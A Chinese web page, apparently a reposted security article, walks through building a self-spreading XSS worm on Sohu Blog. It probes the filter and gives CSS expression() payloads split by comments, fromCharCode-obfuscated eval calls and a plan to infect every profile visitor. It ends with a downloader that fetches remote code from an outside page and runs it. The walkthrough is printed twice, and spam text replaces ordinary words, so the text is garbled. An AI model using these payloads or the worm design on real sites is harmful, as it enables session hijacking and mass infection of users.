完整的XSS wrom入侵实现流程
网络安全 2021-07-03 09:40www.168986.cn网络安全知识
我先拿SOHU BLOG做示范.
1.测试过滤字符,狼蚁网站SEO优化都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些.
’’;:!--"<javascript JAvaSCriPT>={()} \/
结果
’’;:!--"={()} // (&后是amp,论坛过滤了)
过滤了"javascript","&"和"\"这两个转义字符串,HTML转码和CSS样式转码已无效,只好从属性和事件入手.
2.测试一个XSS常用属性和两个事件,貌似没有过滤字符.
expression
onerror
onload
3.狼蚁网站SEO优化开始尝试构造语句.如下:
<img src="#" style="Xss:expression(alert(’xss’));">
<img src="#" onerror=alert(’xss’)>
<img src="/Article/UploadFiles/200702/20070202101404522.jpg" onload=alert(’xss’)>
构造完整标记,页面输出后又全部过滤.
4."/"字符没有过滤可以构造/xxxx/注释符,expression属性可以配合注释符构造出语句:
<div style="xss:ex//pre//ssion(alert(’xss’))">
5.由于expression属性比较特殊想当于一个死循环的EVAL函数,style标记里不能出现";"字符,也就是不能构造多条连接在一起的javascript,构造出如下语句:
<DIV STYLE="xss:ex//pre//ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime() 101000);if(document.cookie.indexOf(’Cookie1=’) == -1){document.cookie=’Cookie1=RAY;expires=’ Then.toGMTString();alert(’xss’);}">
//设置一个COOKIE在10秒后失效,并在这条COOKIE语句中执行其他语句或函数.
6.遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤,我们无法eval标记内的某个变量,于是采用fromCharCode方法,将Unicode字符值专成字符串再用eval函数执行:
<div style="xss:ex//pre//ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))">
7.感染流程考虑:
㈠.BLOG页面的个人档案处是页面通用的,
㈡.XSS内容写到个人档案处,所有浏览者都会触发XSS
㈢.实现一段提交XSS内容到个人档案的代码.
8.个人档案处只能输入2048个字符,又采用了fromCharCode方法,出现XSS代码长度的限制,只能调用远程代码,于是写出了个XSS downloader.
主要代码:
function d(){
a=new ActiveXObject(’Microsoft.XMLHTTP’); /调用XMLHTTP控件
a.Open(’get’,’http://s0n9.blog.sohu./31406970.html’,false);/发出一个GET提交请求
a.send();
b=a.responseText; /将传回值赋给变量B
eval(unescape(b.substring(b.indexOf(’--|’) 3,b.indexOf(’|--’))));
/用indexOf计算 --||-- 的位置,用substring方法取出字符串,用unescape方法解码.
}d()
http://s0n9.blog.sohu./31406970.html 页面代码:
alert('xss');
/利用escape将标点符号转码,由于responseText特性,某些字符会转换,如"&"字符会变成"&"(&后是amp,论坛过滤了)
PS:其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好XSS关键字,以防止XSS WROM爆发
1.测试过滤字符,狼蚁网站SEO优化都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些.
’’;:!--"<javascript JAvaSCriPT>={()} \/
结果
’’;:!--"={()} // (&后是amp,论坛过滤了)
过滤了"javascript","&"和"\"这两个转义字符串,HTML转码和CSS样式转码已无效,只好从属性和事件入手.
2.测试一个XSS常用属性和两个事件,貌似没有过滤字符.
expression
onerror
onload
3.狼蚁网站SEO优化开始尝试构造语句.如下:
<img src="#" style="Xss:expression(alert(’xss’));">
<img src="#" onerror=alert(’xss’)>
<img src="/Article/UploadFiles/200702/20070202101404522.jpg" onload=alert(’xss’)>
构造完整标记,页面输出后又全部过滤.
4."/"字符没有过滤可以构造/xxxx/注释符,expression属性可以配合注释符构造出语句:
<div style="xss:ex//pre//ssion(alert(’xss’))">
5.由于expression属性比较特殊想当于一个死循环的EVAL函数,style标记里不能出现";"字符,也就是不能构造多条连接在一起的javascript,构造出如下语句:
<DIV STYLE="xss:ex//pre//ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime() 101000);if(document.cookie.indexOf(’Cookie1=’) == -1){document.cookie=’Cookie1=RAY;expires=’ Then.toGMTString();alert(’xss’);}">
//设置一个COOKIE在10秒后失效,并在这条COOKIE语句中执行其他语句或函数.
6.遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤,我们无法eval标记内的某个变量,于是采用fromCharCode方法,将Unicode字符值专成字符串再用eval函数执行:
<div style="xss:ex//pre//ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))">
7.感染流程考虑:
㈠.BLOG页面的个人档案处是页面通用的,
㈡.XSS内容写到个人档案处,所有浏览者都会触发XSS
㈢.实现一段提交XSS内容到个人档案的代码.
8.个人档案处只能输入2048个字符,又采用了fromCharCode方法,出现XSS代码长度的限制,只能调用远程代码,于是写出了个XSS downloader.
主要代码:
function d(){
a=new ActiveXObject(’Microsoft.XMLHTTP’); /调用XMLHTTP控件
a.Open(’get’,’http://s0n9.blog.sohu./31406970.html’,false);/发出一个GET提交请求
a.send();
b=a.responseText; /将传回值赋给变量B
eval(unescape(b.substring(b.indexOf(’--|’) 3,b.indexOf(’|--’))));
/用indexOf计算 --||-- 的位置,用substring方法取出字符串,用unescape方法解码.
}d()
http://s0n9.blog.sohu./31406970.html 页面代码:
alert('xss');
/利用escape将标点符号转码,由于responseText特性,某些字符会转换,如"&"字符会变成"&"(&后是amp,论坛过滤了)
PS:其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好XSS关键字,以防止XSS WROM爆发
网络安全培训
- 网络安全常见漏洞类型 网络安全常见漏洞类型包
- 绿色上网顺口溜七言 绿色上网的宣传标语
- 网络安全等级保护测评 网络安全等级保护条例
- 如何加强网络安全 网络安全隐患有哪些
- 网络安全防护措施有哪些 网络安全等级保护等级
- 如何保障网络安全 如何做好网络安全保障工作
- 维护网络安全的措施有哪些 维护网络安全的主要
- 网络安全工程师好学吗 2024年网络安全工程师好学
- 网络安全注意事项简短 网络安全注意事项100字
- 网络安全面临的挑战 当前网络安全面临的新问题
- 网络安全培训哪个靠谱 网络安全培训找哪个
- 普及网络安全知识内容 普及网络安全教育
- 网络安全防范知识宣传内容 网络安全防范知识宣
- 如何做好网络安全工作 如何做好网络安全工作
- 网络安全常识的丰富内容 网络安全的相关知识
- 青少年网络安全教育片 青少年网络安全知识讲座